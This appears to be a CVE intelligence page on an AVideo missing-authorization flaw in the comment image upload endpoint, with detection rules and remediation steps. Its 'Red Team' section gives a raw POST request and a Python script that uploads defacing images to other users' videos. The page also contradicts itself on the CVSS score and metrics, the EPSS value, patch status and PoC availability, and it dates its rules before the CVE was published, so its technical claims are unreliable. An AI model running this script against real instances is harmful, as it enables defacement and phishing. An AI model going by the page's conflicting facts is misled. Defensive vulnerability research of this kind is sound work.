☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wwbn logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-34437

CVE-2025-34437 Missing Authorization in Avideo
📅 PUBLISHED: 2025-12-17 19:50 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v20.1 — source: VulnCheck. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-34437 is a missing authorization vulnerability in AVideo, a popular open-source video sharing platform. The flaw allows any authenticated user to upload comment images to videos owned by other users. The endpoint responsible for handling comment image uploads validates that the user is authenticated but fails to verify that the user owns the target video. This enables an attacker to perform unauthorized uploads to arbitrary video objects, potentially defacing content or injecting malicious images.

The vulnerability affects AVideo versions prior to 20.1. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

AVideo is a PHP-based application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker must have a valid user account.
  • User Interaction (UI): None (N) – No victim interaction is needed.
  • Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data is exposed.
  • Integrity (I): Low (L) – Unauthorized image uploads can deface content.
  • Availability (A): None (N) – No denial of service.

CVSS Score: 4.3 (Medium)

Threat Level: Medium. The vulnerability requires authentication but allows unauthorized modification of video comment images.

Deep Dive & Mechanics

The vulnerability resides in the comment image upload functionality. AVideo allows users to upload images as part of comments on videos. The endpoint objects/commentAddNew.json.php (or similar) processes the upload. The code checks if the user is logged in (User::isLogged()) but does not verify that the user owns the video to which the comment is being added.

The vulnerable logic flow:

  1. User authenticates and obtains a session.
  2. User sends a POST request to the comment upload endpoint with parameters video_id and image.
  3. The server validates the session but does not check if the authenticated user is the owner of video_id.
  4. The image is saved to the server and associated with the comment on the target video.

An attacker can enumerate video IDs (often sequential integers) and upload images to any video, including those owned by other users. This can be used to deface videos, inject malicious images (e.g., phishing lures), or simply spam.

Vulnerable vs. Patched Code

Vulnerable Code (pre-20.1):

// objects/commentAddNew.json.php
require_once '../videos/configuration.php';
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/video.php';

if (!User::isLogged()) {
    die('{"error":"You must be logged"}');
}

$video = new Video('', '', $_POST['video_id']);
// Missing ownership check
$comment = new Comment('', $_POST['comment'], $video->getId());
$comment->setImage($_FILES['image']);
$comment->save();

Patched Code (20.1+):

// objects/commentAddNew.json.php
require_once '../videos/configuration.php';
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/video.php';

if (!User::isLogged()) {
    die('{"error":"You must be logged"}');
}

$video = new Video('', '', $_POST['video_id']);
// Ownership check added
if ($video->getUsers_id() != User::getId()) {
    die('{"error":"You do not own this video"}');
}

$comment = new Comment('', $_POST['comment'], $video->getId());
$comment->setImage($_FILES['image']);
$comment->save();

The patch adds a check comparing the video owner's user ID ($video->getUsers_id()) with the authenticated user's ID (User::getId()). If they do not match, the upload is rejected.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid user account on the target AVideo instance.
  • Target video ID (e.g., 42).
  • An image file to upload (e.g., malicious.png).

Exploitation Steps:

  1. Log in to the AVideo instance and obtain a session cookie.
  2. Craft a POST request to the vulnerable endpoint:
    POST /objects/commentAddNew.json.php HTTP/1.1
    Host: target-avideo.com
    Cookie: PHPSESSID=your_session_id
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="video_id"
    
    42
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="comment"
    
    Check out this image!
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="image"; filename="malicious.png"
    Content-Type: image/png
    
    [binary image data]
    ------WebKitFormBoundary--
    
  3. The server will accept the upload and associate the image with the comment on video ID 42.

Automated Exploit (Python):

import requests

target = "http://target-avideo.com"
session = requests.Session()
# Login first
login_data = {"user": "attacker", "pass": "password"}
session.post(f"{target}/login", data=login_data)

# Upload image to victim video
files = {"image": ("malicious.png", open("malicious.png", "rb"), "image/png")}
data = {"video_id": "42", "comment": "Defaced!"}
r = session.post(f"{target}/objects/commentAddNew.json.php", files=files, data=data)
print(r.text)

Blue Team

Detection Steps:

  1. Monitor logs for repeated POST requests to /objects/commentAddNew.json.php from the same user to multiple video IDs.
  2. Alert on any comment image upload where the video owner does not match the uploader.
  3. Review comment images for unexpected content (e.g., phishing images, offensive material).

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/objects/commentAddNew.json.php" method=POST
| rex field=uri "video_id=(?<video_id>\d+)"
| lookup user_video_owner.csv video_id OUTPUT owner_user_id
| where owner_user_id != user_id
| table _time, src_ip, user, video_id, owner_user_id

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /objects/commentAddNew.json.php with video_id parameter not owned by the authenticated user.
    • Unusual image files (e.g., non-standard dimensions, unexpected MIME types) in comment uploads.
  • Host:
    • Files in the upload directory (e.g., videos/comments/) with unexpected ownership or content.
    • Log entries showing failed ownership checks (if patched) or successful unauthorized uploads.
  • User Behavior:
    • Single user uploading images to many different videos in a short time.
    • User uploading images to videos they did not create.

Detection Engineering

YARA Rule

rule CVE_2025_34437_AVideo_Comment_Upload {
    meta:
        description = "Detects unauthorized comment image uploads in AVideo"
        author = "Valters IT"
        date = "2025-04-11"
        cve = "CVE-2025-34437"
    strings:
        $s1 = "commentAddNew.json.php" nocase
        $s2 = "video_id" nocase
        $s3 = "image" nocase
    condition:
        all of them
}

Sigma Rule

title: AVideo Unauthorized Comment Image Upload
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-34437 by uploading comment images to videos not owned by the user.
author: Valters IT
date: 2025/04/11
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/objects/commentAddNew.json.php'
    condition: selection
falsepositives:
    - Legitimate uploads to own videos
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-34437 AVideo Unauthorized Comment Image Upload";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/objects/commentAddNew.json.php";
    http_uri;
    content:"video_id";
    http_client_body;
    sid:1000001;
    rev:1;
    metadata:created_at 2025_04_11, updated_at 2025_04_11, cve CVE-2025-34437;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update AVideo to version 20.1 or later as soon as a patch is released.
  2. Workaround: If patching is not possible, disable comment image uploads by removing or restricting access to the objects/commentAddNew.json.php endpoint via web server configuration (e.g., .htaccess deny rule).
  3. Monitor: Enable detailed logging for the comment upload endpoint and review logs for suspicious activity.

Long-Term Fix:

  • Implement proper authorization checks on all endpoints that modify content owned by other users.
  • Conduct a security audit of all API endpoints to ensure ownership validation is consistent.

Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-34437/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.